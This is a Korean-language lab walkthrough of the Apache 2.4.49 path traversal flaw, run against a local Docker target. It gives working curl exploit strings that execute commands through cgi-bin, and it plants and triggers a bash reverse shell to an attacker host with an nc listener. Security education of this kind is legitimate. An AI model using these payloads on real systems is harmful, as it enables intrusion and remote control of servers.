
Apache HTTP Server 2.4.49의 경로 정규화 변경에서 결함이 발견되었습니다. 공격자는 경로 탐색 공격을 사용하여 Alias 계열 지시문으로 구성된 디렉터리 외부의 파일에 URL을 매핑할 수 있습니다.
이 디렉터리 외부의 파일이 일반적인 기본 구성인 "require all denied"로 보호되지 않는 경우 이러한 요청은 성공할 수 있습니다. 또한 이러한 별칭 경로에 CGI 스크립트도 활성화되어 있는 경우 원격 코드 실행으로 이어질 수 있습니다.
이 문제는 실제 환경에서 악용되고 있는 것으로 알려져 있습니다.
이 문제는 Apache 2.4.49에만 영향을 미치며 이전 버전에는 영향을 미치지 않습니다.
경로 탐색 공격(디렉터리 탐색이라고도 함)은 웹 루트 폴더 외부에 저장된 파일과 디렉터리에 접근하는 것을 목표로 합니다. "dot-dot-slash(../)" 시퀀스 및 그 변형으로 파일을 참조하는 변수를 조작하거나 절대 파일 경로를 사용함으로써 애플리케이션 소스 코드나 구성 파일, 중요한 시스템 파일을 포함하여 파일 시스템에 저장된 임의의 파일과 디렉터리에 접근할 수 있습니다. 파일에 대한 접근은 시스템 운영 접근 제어(Microsoft Windows 운영 체제에서 잠겨 있거나 사용 중인 파일의 경우 등)에 의해 제한된다는 점에 유의해야 합니다.
이 공격은 "dot-dot-slash", "directory traversal", "directory climbing", "backtracking"이라고도 알려져 있습니다.
$ docker-compose build
$ docker-compose up
작동 확인
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
피해자 : localhost:1234
공격자 : 192.168.1.12
문서에 따르면 이는 원격에서 코드를 실행할 수 있게 하는 결함(RCE)입니다.
cgi-bin 폴더로 curl을 실행하여 이를 악용할 수 있습니다.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
실제로 명령에 접근 권한이 있는지 확인해 보겠습니다. id를 실행해 봅니다:
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. 리버스 셸
피해자 서버에 bash 파일을 생성하여 리버스 셸을 테스트해 보겠습니다.
PayloadsAllTheThings 저장소에서 찾은 bash 리버스 셸을 예로 들어 보겠습니다.
예시는 다음과 같습니다:
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
피해자 머신의 /tmp/ 폴더에 vuln.sh 파일을 생성해 보겠습니다!
이 파일에는 원격으로 실행할 수 있는 리버스 셸이 포함됩니다. 이 셸은 로컬 머신의 포트 44로 연결됩니다.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
cat 명령으로 파일 내용을 확인할 수 있습니다.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. ncat을 사용한 리스너
로컬 머신에 리스너를 생성해 보겠습니다.
$ nc -lvnp 44
이제 남은 것은 원격 파일을 실행하는 것뿐입니다.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
응답:
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.